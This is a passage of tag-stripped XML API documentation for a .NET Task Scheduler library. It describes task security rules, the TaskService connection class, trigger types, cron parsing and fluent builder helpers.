the ACL to retrieve. + + + + Gets the enumeration that the class uses to represent access rights. + + A object representing the enumeration. + + + + Gets the type that the TaskSecurity class uses to represent access rules. + + A object representing the class. + + + + Gets the type that the TaskSecurity class uses to represent audit rules. + + A object representing the class. + + + + Gets a object that represent the default access rights. + + The default task security. + + + + Creates a new access control rule for the specified user, with the specified access rights, access control, and flags. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to allow or deny, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether the rights are allowed or denied. + + The object that this method creates. + + + + + Searches for a matching rule with which the new rule can be merged. If none are found, adds the new rule. + + The access control rule to add. + + + + Searches for an audit rule with which the new rule can be merged. If none are found, adds the new rule. + + The audit rule to add. The user specified by this rule determines the search. + + + + Creates a new audit rule, specifying the user the rule applies to, the access rights to audit, and the outcome that triggers the audit rule. + + An that identifies the user or group the rule applies to. + A bitwise combination of values specifying the access rights to audit, cast to an integer. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + Meaningless for tasks, because they have no hierarchy. + One of the values specifying whether to audit successful access, failed access, or both. + + A object representing the specified audit rule for the specified user. The return type of the method is the base class, , but the return value can be cast safely to the derived class. + + + + + Searches for an access control rule with the same user and (allow or deny) as the specified rule, and with compatible inheritance and propagation flags; if such a rule is found, the rights contained in the specified access rule are removed from it. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all access control rules with the same user and (allow or deny) as the specified rule and, if found, removes them. + + A that specifies the user and to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Any rights specified by this rule are ignored. + + + + Searches for an access control rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Searches for an audit control rule with the same user as the specified rule, and with compatible inheritance and propagation flags; if a compatible rule is found, the rights contained in the specified rule are removed from it. + + A that specifies the user to search for, and a set of inheritance and propagation flags that a matching rule, if found, must be compatible with. Specifies the rights to remove from the compatible rule, if found. + true if a compatible rule is found; otherwise false. + + + + Searches for all audit rules with the same user as the specified rule and, if found, removes them. + + A that specifies the user to search for. Any rights specified by this rule are ignored. + + + + Searches for an audit rule that exactly matches the specified rule and, if found, removes it. + + The to remove. + + + + Removes all access control rules with the same user as the specified rule, regardless of , and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Removes all access control rules with the same user and (allow or deny) as the specified rule, and then adds the specified rule. + + The to add. The user and of this rule determine the rules to remove before this rule is added. + + + + Removes all audit rules with the same user as the specified rule, regardless of the value, and then adds the specified rule. + + The to add. The user specified by this rule determines the rules to remove before this rule is added. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. + + The task folder used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Saves the specified sections of the security descriptor associated with this object to permanent storage. We recommend that the values of the parameters passed to the constructor and persist methods be identical. For more information, see Remarks. + + The name used to retrieve the persisted information. + One of the enumeration values that specifies the sections of the security descriptor (access rules, audit rules, owner, primary group) of the securable object to save. + + + + Quick simple trigger types for the + method. + + + + At boot. + + + On system idle. + + + At logon of any user. + + + When the task is registered. + + + Hourly, starting now. + + + Daily, starting now. + + + Weekly, starting now. + + + Monthly, starting now. + + + + Known versions of the native Task Scheduler library. This can be used as a decoder for the + and values. + + + + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016 post build 1703). + + + Provides access to the Task Scheduler service for managing registered tasks. + + + Creates a new instance of a TaskService connecting to the local machine as the current user. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer. If the user name and password are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Initializes a new instance of the class. + + The name of the computer that you want to connect to. If the this parameter is empty, then this will connect to the local computer. + + + The user name that is used during the connection to the computer. If the user is not specified, then the current token is used. + + The domain of the user specified in the parameter. + + The password that is used to connect to the computer as a SecureString. If the user name and securePassword are not specified, then the current token is used. + + If set to true force Task Scheduler 1.0 compatibility. + + + Delegate for methods that support update calls during COM handler execution. + The percentage of completion (0 to 100). + An optional message. + + + Occurs when the Task Scheduler is connected to the local or remote target. + + + Occurs when the Task Scheduler is disconnected from the local or remote target. + + + Gets a local instance of the using the current user's credentials. + Local user instance. + + + + Gets the library version. This is the highest version supported by the local library. Tasks cannot be created using any + compatibility level higher than this version. + + The library version. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + + Gets or sets a value indicating whether to allow tasks from later OS versions with new properties to be retrieved as read only tasks. + + true if allow read only tasks; otherwise, false. + + + Gets the name of the domain to which the computer is connected. + + + Gets the name of the user that is connected to the Task Scheduler service. + + + Gets the highest version of Task Scheduler that a computer supports. + + The following table list the various versions and their host operating system: + + + Version + Operating System + + + 1.1 + Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + + + 1.2 + Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + + 1.3 + Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + + + 1.4 + Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + + + 1.5 + Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + + + 1.6 + Task Scheduler 2.4 (Windows® 10 Version 1703, Windows Server™ 2016 Version 1703). + + + + + + Gets the root ("\") folder. For Task Scheduler 1.0, this is the only folder. + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + Gets or sets the user account domain to be used when connecting to the . + The user account domain. + + + Gets or sets the user name to be used when connecting to the . + The user name. + + + Gets or sets the user password to be used when connecting to the . + The user password. + + + Gets the user password in plain text from either userPassword or userSecurePassword. + + + Gets a which enumerates all the tasks in all folders. + A for all instances. + + + Gets a Boolean value that indicates if you are connected to the Task Scheduler service. + + + + Gets the connection token for this instance. This token is thread safe and can be used to create new + instances on other threads using the static method. + + The connection token. + + + Gets a value indicating whether the component can raise an event. + + + + Creates a new instance from a token. Given that a TaskService instance is thread specific, this is the + preferred method for multi-thread creation or asynchronous method parameters. + + The token. + A instance valid for the thread calling this method. + + + Gets a formatted string that tells the Task Scheduler to retrieve a string from a resource .dll file. + The path to the .dll file that contains the resource. + The identifier for the resource text (typically a negative number). + A string in the format of $(@ [dllPath], [resourceId]). + + For example, the setting this property value to $(@ %SystemRoot%\System32\ResourceName.dll, -101) will set the property to the + value of the resource text with an identifier equal to -101 in the %SystemRoot%\System32\ResourceName.dll file. + + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + The value set by the COM object via a call to the method. + + + + Runs an action that is defined via a COM handler. COM CLSID must be registered to an object that implements the + interface. + + The CLSID of the COM object. + The action to run on thread completion. + An optional string passed to the COM object at startup. + The number of milliseconds to wait or -1 for indefinitely. + + An optional delegate that is called when the COM object calls the + method. + + + + Adds or updates an Automatic Maintenance Task on the connected machine. + Name of the task with full path. + The amount of time the task needs once executed during regular Automatic maintenance. + + The amount of time after which the Task Scheduler attempts to run the task during emergency Automatic maintenance, if the task + failed to complete during regular Automatic Maintenance. + + The path to an executable file. + The arguments associated with the command-line operation. + + The directory that contains either the executable file or the files that are used by the executable file. + + A instance of the Automatic Maintenance Task. + + Automatic Maintenance tasks are only supported on Windows 8/Server 2012 and later. + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The to determine what happens when the task is triggered. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + This method is shorthand for creating a new TaskDescription, adding a trigger and action, and then registering it in the root folder. + + + + + + + + + Creates a new task, registers the task, and returns the instance. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value + that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot + be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + The to determine when to run the task. + The executable path. + The arguments (optional). Value can be NULL. + The user credentials used to register the task. + The password for the userId used to register the task. + + A value that defines what logon technique is used to run the registered task. + + The task description. + A instance of the registered task. + + + + + + + + Signals the object that initialization is starting. + + + Signals the object that initialization is complete. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Finds all tasks matching a name or standard wildcards. + Name of the task in regular expression form. + if set to true search all sub folders. + An array of containing all tasks matching . + + + Finds all tasks matching a name or standard wildcards. + The filter used to determine tasks to select. + if set to true search all sub folders. + An array of containing all tasks matching . + TaskService.Instance.FindAllTasks(t => t.Triggers.ContainsType(typeof(LogonTrigger)), true); + + + Finds a task given a name and standard wildcards. + The task name. This can include the wildcards * or ?. + if set to true search all sub folders. + A if one matches , otherwise NULL. + + + Gets the event log for this instance. + (Optional) The task path if only the events for a single task are desired. + A instance. + + + Gets the path to a folder of registered tasks. + + The path to the folder to retrieve. Do not use a backslash following the last folder name in the path. The root task folder is + specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character + cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + + instance for the requested folder or null if was unrecognized. + + Folder other than the root (\) was requested on a system not supporting Task Scheduler 2.0. + + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets a collection of running tasks. + True to include hidden tasks. + instance with the list of running tasks. + + + Gets the task with the specified path. + The task path. + + The instance matching the , if found. If not found, this method returns null. + + + + + Returns an empty task definition object to be filled in with settings and properties and then registered using the + method. + + A instance for setting properties. + + + Returns a populated with the properties defined in an XML file. + The XML file to use as input. + A instance. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + Sets the user password as a secure string to be used when connecting to the . + A secure string containing the user password to set. + + + Starts the Task Scheduler UI for the OS hosting the assembly if the session is running in interactive mode. + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Connects this instance of the class to a running Task Scheduler. + + + Finds the task in folder. + The folder. + The wildcard expression to compare task names with. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + + Represents a valid, connected session to a Task Scheduler instance. This token is thread-safe and should be the means of passing + information about a between threads. + + + + Initial call for a Fluent model of creating a task. + The path of the program to run. + An instance. + + + + Abstract base class which provides the common properties that are inherited by all trigger classes. A trigger can be created using + the or the method. + + + + Creates a trigger using a cron string. + String using cron defined syntax for specifying a time interval. See remarks for syntax. + Array of representing the specified cron string. + Unsupported cron string. + + This method does not support all combinations of cron strings. Please test extensively before use. Please post an issue with any + syntax that should work, but doesn't. + The following combinations are known not to work: + + Intervals on months (e.g. "* * * */5 *") + Intervals on DOW (e.g. "* * * * MON/3") + + + This section borrows liberally from the site http://www.nncron.ru/help/EN/working/cron-format.htm. The cron format consists of five fields separated + by white spaces: + + + <Minute> <Hour> <Day_of_the_Month> <Month_of_the_Year> <Day_of_the_Week> + + Each item has bounds as defined by the following: + + * * * * * + | | | | | + | | | | +---- Day of the Week (range: 1-7, 1 standing for Monday) + | | | +------ Month of the Year (range: 1-12) + | | +-------- Day of the Month (range: 1-31) + | +---------- Hour (range: 0-23) + +------------ Minute (range: 0-59) + + Any of these 5 fields may be an asterisk (*). This would mean the entire range of possible values, i.e. each minute, each hour, etc. + + Any of the first 4 fields can be a question mark ("?"). It stands for the current time, i.e. when a field is processed, the current time will be + substituted for the question mark: minutes for Minute field, hour for Hour field, day of the month for Day of month field and month for Month field. + + Any field may contain a list of values separated by commas, (e.g. 1,3,7) or a range of values (two integers separated by a hyphen, e.g. 1-5). + + After an asterisk (*) or a range of values, you can use character / to specify that values are repeated over and over with a certain interval between + them. For example, you can write "0-23/2" in Hour field to specify that some action should be performed every two hours (it will have the same effect + as "0,2,4,6,8,10,12,14,16,18,20,22"); value "*/4" in Minute field means that the action should be performed every 4 minutes, "1-30/3" means the same + as "1,4,7,10,13,16,19,22,25,28". + + + + + In testing and may change. Do not use until officially introduced into library. + + + Occurs when a property value changes. + + + Gets or sets a Boolean value that indicates whether the trigger is enabled. + + + + Gets or sets the date and time when the trigger is deactivated. The trigger cannot start the task after it is deactivated. + While the maximum value for this property is , the Windows Task Scheduler management + application that is part of the OS will fail if this value is greater than December 31, 9998. + + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for the Day, Month and Year values of the structure. + + + Version 2 (1.2 or higher) of the native library only allows for both date and time and all values. + However, the user interface and methods will always show the time translated to local time. The + library makes every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, + the "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the + user selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + + + + Gets or sets the maximum amount of time that the task launched by this trigger is allowed to run. Not available with Task + Scheduler 1.0. + + Not supported under Task Scheduler 1.0. + + + Gets or sets the identifier for the trigger. Cannot set with Task Scheduler 1.0. + Not supported under Task Scheduler 1.0. + + + + Gets a instance that indicates how often the task is run and how long the repetition pattern is + repeated after the task is started. + + + + Gets or sets the date and time when the trigger is activated. + + + Version 1 (1.1 on all systems prior to Vista) of the native library only allows for values where the is unspecified. If the DateTime value Kind is then it will be used as + is. If the DateTime value Kind is then it will be converted to the local time and then used. + + + Version 2 (1.2 or higher) of the native library only allows for all values. However, the user + interface and methods will always show the time translated to local time. The library makes + every attempt to maintain the Kind value. When using the UI elements provided in the TaskSchedulerEditor library, the + "Synchronize across time zones" checkbox will be checked if the Kind is Local or Utc. If the Kind is Unspecified and the user + selects the checkbox, the Kind will be changed to Utc and the time adjusted from the value displayed as the local time. + + + Under Version 2, when converting the string used in the native library for this value (ITrigger.Startboundary) this library will + behave as follows: + + + YYYY-MM-DDTHH:MM:SS format uses DateTimeKind.Unspecified and the time specified. + + + YYYY-MM-DDTHH:MM:SSZ format uses DateTimeKind.Utc and the time specified as the GMT time. + + + YYYY-MM-DDTHH:MM:SS±HH:MM format uses DateTimeKind.Local and the time specified in that time zone. + + + + + + + Gets the type of the trigger. + The of the trigger. + + + Creates the specified trigger. + Type of the trigger to instantiate. + of specified type. + + + Creates a new that is an unbound copy of this instance. + A new that is an unbound copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Releases all resources used by this class. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Sets the repetition. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + if set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Returns a string representing this trigger. + String value of trigger. + + + Returns a that represents this trigger in a specific language. + The language of the resulting string. + String value of trigger. + + + Gets the best time span string. + The to display. + Either the full string representation created by TimeSpan2 or the default TimeSpan representation. + + + Assigns the unbound TriggerData structure to the V1 trigger instance. + + + Checks the bind value for any conversion. + The key (property) name. + The value. + + + Gets the unbound value or a default. + Return type. + The property name. + The default value if not found in unbound value list. + The unbound value, if set, or the default value. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Fluent helper class. Not intended for use. + + + Adds a trigger that executes at logon of all users. + instance. + + + Adds a trigger that executes at logon of a specific user. + The user id. + instance. + + + Adds a trigger that executes at task registration. + instance. + + + Adds a trigger that executes every day or week. + The interval of days or weeks. + instance. + + + Adds a trigger that executes monthly on specific days. + The months of the year in which to run. + instance. + + + Adds a working directory to the . + The directory. + instance. + + + Adds a trigger that executes monthly on certain days of the week. + The days of the week on which to run. + instance. + + + Adds a trigger that executes at system startup. + instance. + + + Adds a trigger that executes once at a specific time. + instance. + + + Adds a trigger that executes when system is idle. + instance. + + + Adds a trigger that executes once at specified state change. + Type of the change. + instance. + + + Adds arguments to the . + The arguments. + instance. + + + Fluent helper class. Not intended for use. + + + Transitions to settings syntax. + + + Assigns the name of the task and registers it. + The name. + A registered instance. + + + Assigns the name of the task and registers it. + The name. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + A registered instance. + + + Fluent helper class. Not intended for use. + + + Specifies that an Every target uses days as the interval. + instance. + + + Specifies that an Every target uses weeks as the interval. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify in which weeks of the month it will run. + The week. + instance. + + + Updates a monthly trigger to specify the months of the year in which it will run. + The month of the year. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a monthly trigger to specify the days of the month on which it will run. + The days. + instance. + + + Fluent helper class. Not intended for use. + + + Indicates that the task will be started even if the computer is running on battery power. + instance. + + + + Indicates that the task will be started even if the task is triggered to run in a Remote Applications Integrated Locally + (RAIL) session. + + instance. + + + Sets the task data to a string. + instance. + + + Sets the amount of time that the Task Scheduler will wait before deleting the task after it expires. + instance. + + + Indicates that the task cannot be started with the Run command or the Context menu. + instance. + + + Indicates that the task may not be terminated by using TerminateProcess. + instance. + + + Sets the amount of time that is allowed to complete the task. + instance. + + + Sets the policy that defines how the Task Scheduler handles multiple instances of the task. + instance. + + + Indicates that the task will not be stopped if the computer switches to battery power. + instance. + + + Indicates that the Task Scheduler will run the task only if the computer is in an idle condition. + instance. + + + Indicates that the Task Scheduler will run the task only when a network is available. + instance. + + + Sets the priority level of the task. + instance. + + + Sets a value that specifies how long the Task Scheduler will attempt to restart the task. + instance. + + + Indicates that the Task Scheduler can start the task at any time after its scheduled time has passed. + instance. + + + Indicates that the Task Scheduler will wake the computer when it is time to run the task. + instance. + + + Fluent helper class. Not intended for use. + + + Specifies a date on which a trigger will no longer run. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will no longer run. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will no longer run. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will no longer run. + The DateTime value. + instance. + + + Determines whether this trigger is disabled. + instance. + + + Specifies a repetition interval for the trigger. + The interval span. + instance. + + + Specifies a repetition interval for the trigger. + The interval span string. Must be parsable by . + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span. + instance. + + + Specifies the maximum amount of time to repeat the execution of a trigger. + The duration span string. Must be parsable by . + instance. + + + Specifies a date on which a trigger will start. + The year. + The month. + The day. + instance. + + + Specifies a date and time on which a trigger will start. + The year. + The month. + The day. + The hour. + The min. + The sec. + instance. + + + Specifies a date and time on which a trigger will start. + A string representing a DateTime and parsable via . + instance. + + + Specifies a date and time on which a trigger will start. + The DateTime value. + instance. + + + Fluent helper class. Not intended for use. + + + Updates a weekly trigger to specify the days of the week on which it will run. + The days of the week. + instance. + + + Fluent helper class. Not intended for use. + + + Values for days of the week (Monday, Tuesday, etc.) + + + Sunday + + + Monday + + + Tuesday + + + Wednesday + + + Thursday + + + Friday + + + Saturday + + + All days + + + Values for months of the year (January, February, etc.) + + + January + + + February + + + March + + + April + + + May + + + June + + + July + + + August + + + September + + + October + + + November + + + December + + + All months + + + Defines the type of triggers that can be used by tasks. + + + Triggers the task when a specific event occurs. Version 1.2 only. + + + Triggers the task at a specific time of day. + + + Triggers the task on a daily schedule. + + + Triggers the task on a weekly schedule. + + + Triggers the task on a monthly schedule. + + + Triggers the task on a monthly day-of-week schedule. + + + Triggers the task when the computer goes into an idle state. + + + Triggers the task when the task is registered. Version 1.2 only. + + + Triggers the task when the computer boots. + + + Triggers the task when a specific user logs on. + + + Triggers the task when a specific user session state changes. Version 1.2 only. + + + Triggers the custom trigger. Version 1.3 only. + + + Values for week of month (first, second, ..., last) + + + First week of the month + + + Second week of the month + + + Third week of the month + + + Fourth week of the month + + + Last week of the month + + + Every week of the month + + + Interface that categorizes the trigger as a calendar trigger. + + + Interface for triggers that support a delay. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + Interface for triggers that support a user identifier. + + + Gets or sets the user for the . + + + Represents a trigger that starts a task when the system is booted. + + A BootTrigger will fire when the system starts. It can only be delayed. All triggers that support a delay implement the + ITriggerDelay interface. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a custom trigger. This class is based on undocumented features and may change. This type of trigger is only + available for reading custom triggers. It cannot be used to create custom triggers. + + + + Gets a value that indicates the amount of time between the trigger events and when the task is started. + This value cannot be set. + + + Gets the name of the custom trigger type. + The name of the XML element representing this custom trigger. + + + Gets the properties from the XML definition if possible. + + + Clones this instance. + This method will always throw an exception. + CustomTrigger cannot be cloned due to OS restrictions. + + + Updates custom properties from XML provided by definition. + The XML from the TaskDefinition. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task based on a daily schedule. For example, the task starts at a specific time every day, every + other day, every third day, and so on. + + A DailyTrigger will fire at a specified time every day or interval of days. + + + + + + + + Creates an unbound instance of a . + Interval between the days in the schedule. + + + Sets or retrieves the interval between the days in the schedule. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a system event occurs. Only available for Task Scheduler 2.0 on Windows Vista or + Windows Server 2003 and later. + + The EventTrigger runs when a system event fires. + + + "; + eTrigger.ValueQueries.Add("Name", "Value"); + ]]> + + + + + Creates an unbound instance of a . + + + Initializes an unbound instance of the class and sets a basic event. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + + + Gets or sets the XPath query string that identifies the event that fires the trigger. + + + + Gets a collection of named XPath queries. Each query in the collection is applied to the last matching event XML returned from + the subscription query specified in the Subscription property. The name of the query can be used as a variable in the message of + a action. + + + + Builds an event log XML query string based on the input parameters. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + XML query string. + log + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets basic event information. + The event's log. + The event's source. Can be null. + The event's id. Can be null. + true if subscription represents a basic event, false if not. + + + + Sets the subscription for a basic event. This will replace the contents of the property and clear all + entries in the property. + + The event's log. + The event's source. Can be null. + The event's id. Can be null. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when the computer goes into an idle state. For information about idle conditions, see Task + Idle Conditions. + + + An IdleTrigger will fire when the system becomes idle. It is generally a good practice to set a limit on how long it can run using + the ExecutionTimeLimit property. + + + + + + + + + Creates an unbound instance of a . + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task when a user logs on. When the Task Scheduler service starts, all logged-on users are + enumerated and any tasks registered with logon triggers that match the logged on user are run. Not available on Task Scheduler 1.0. + + + A LogonTrigger will fire after a user logs on. It can only be delayed. Under V2, you can specify which user it applies to. + + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + + Gets or sets The identifier of the user. For example, "MyDomain\MyName" or for a local account, "Administrator". + This property can be in one of the following formats: + • User name or SID: The task is started when the user logs on to the computer. + • NULL: The task is started when any user logs on to the computer. + + + If you want a task to be triggered when any member of a group logs on to the computer rather than when a specific user logs on, + then do not assign a value to the LogonTrigger.UserId property. Instead, create a logon trigger with an empty + LogonTrigger.UserId property and assign a value to the principal for the task using the Principal.GroupId property. + + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Represents a trigger that starts a task on a monthly day-of-week schedule. For example, the task starts on every first Thursday, May + through October. + + + + Creates an unbound instance of a . + The days of the week. + The months of the year. + The weeks of the month. + + + Gets or sets the days of the week during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last week of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets the weeks of the month during which the task runs. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Reads the subclass XML for V1 streams. + The reader. + + + Writes the subclass XML for V1 streams. + The writer. + + + + Represents a trigger that starts a job based on a monthly schedule. For example, the task starts on specific days of specific months. + + + + Creates an unbound instance of a . + + The day of the month. This must be a value between 1 and 32. If this value is set to 32, then the value will be set and no days will be added regardless of the month. + + The months of the year. + + + Gets or sets the days of the month during which the task runs. + + + Gets or sets the months of the year during which the task runs. + + + Gets or sets a delay time that is randomly added to the start time of the trigger. + Not supported under Task Scheduler 1.0. + + + Gets or sets a Boolean value that indicates that the task runs on the last day of the month. + Not supported under Task Scheduler 1.0. + + + Gets or sets a value that indicates the amount of time before the task is started. + The delay duration. + + + + Copies the properties from another the current instance. This will not copy any properties associated with + any derived triggers except those supporting the interface. + + The source . + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + + Converts an array of bit indices into a mask with bits turned ON at every index contained in the array. Indices must be from 1 + to 32 and bits are numbered the same. + + An array with an element for each bit of the mask which is ON. + An integer to be interpreted as a mask. + + + Compares two collections. + Item type of collections. + The first collection. + The second collection + true if the collections values are equal; false otherwise. + + + + Convert an integer representing a mask to an array where each element contains the index of a bit that is ON in the mask. Bits + are considered to number from 1 to 32. + + An integer to be interpreted as a mask. + An array with an element for each bit of the mask which is ON. + + + Reads the subclass XML for V1 streams. + The reader. + + + + Represents a trigger that starts a task when the task is registered or updated. Not available on Task Scheduler 1.0. Only + available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + The RegistrationTrigger will fire after the task is registered (saved). It is advisable to put in a delay. + + + + + + + + Creates an unbound instance of a . + + + Gets or sets a value that indicates the amount of time between when the system is booted and when the task is started. + Not supported under Task Scheduler 1.0. + + + Gets the non-localized trigger string for V2 triggers. + String describing the trigger. + + + Defines how often the task is run and how long the repetition pattern is repeated after the task is started. + This can be used directly or by assignment for a . + + + + + + + + Initializes a new instance of the class. + + The amount of time between each restart of the task. The maximum time allowed is 31 days, and the minimum time allowed is 1 minute. + + + The duration of how long the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, + the pattern is repeated indefinitely. + + + If set to true the running instance of the task is stopped at the end of repetition pattern duration. + + + + Occurs when a property value changes. + + + Gets or sets how long the pattern is repeated. + + The duration that the pattern is repeated. The minimum time allowed is one minute. If TimeSpan.Zero is specified, the + pattern is repeated indefinitely. + + If you specify a repetition duration for a task, you must also specify the repetition interval. + + + Gets or sets the amount of time between each restart of the 